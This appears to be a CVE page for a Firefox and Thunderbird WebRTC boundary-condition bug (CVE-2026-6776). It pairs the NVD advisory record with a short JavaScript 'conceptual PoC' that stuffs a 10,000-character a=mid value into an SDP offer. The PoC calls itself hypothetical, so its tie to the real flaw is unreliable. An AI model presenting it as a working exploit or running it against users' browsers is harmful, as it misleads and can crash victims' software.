CVE-2026-6776

/** * Conceptual PoC for CVE-2026-6776 * Demonstrates triggering WebRTC components with crafted data. */ async function triggerVulnerability() { const pc = new RTCPeerConnection(); // Create a basic offer const offer = await pc.createOffer(); // Hypothetical manipulation to hit incorrect boundary conditions // In a real scenario, specific attribute values would be tuned const maliciousSdp = offer.sdp.replace(/a=mid:.*\r\n/g, 'a=mid:' + 'A'.repeat(10000) + '\r\n'); try { // Attempt to set the modified description await pc.setRemoteDescription(new RTCSessionDescription({ type: 'offer', sdp: maliciousSdp })); } catch (e) { console.log("Exception caught (expected in PoC testing):", e); } } triggerVulnerability();

{"cve": {"id": "CVE-2026-6776", "sourceIdentifier": "[email protected]", "published": "2026-04-21T13:16:23.350", "lastModified": "2026-04-22T15:07:55.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect boundary conditions in the WebRTC: Networking component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.10.0", "matchCriteriaId": "15AF037C-5C86-48EB-B1DE-3AC100A34596"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "67B01D49-66FA-4C76-9EB4-2B8CD61FBEB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:*:*:*:*", "versionEndExcluding": "140.10.0", "matchCriteriaId": "41C982A2-D35E-4B90-A85E-CD02EDC6DEE9"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2021770", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-30/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-32/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-33/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-34/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}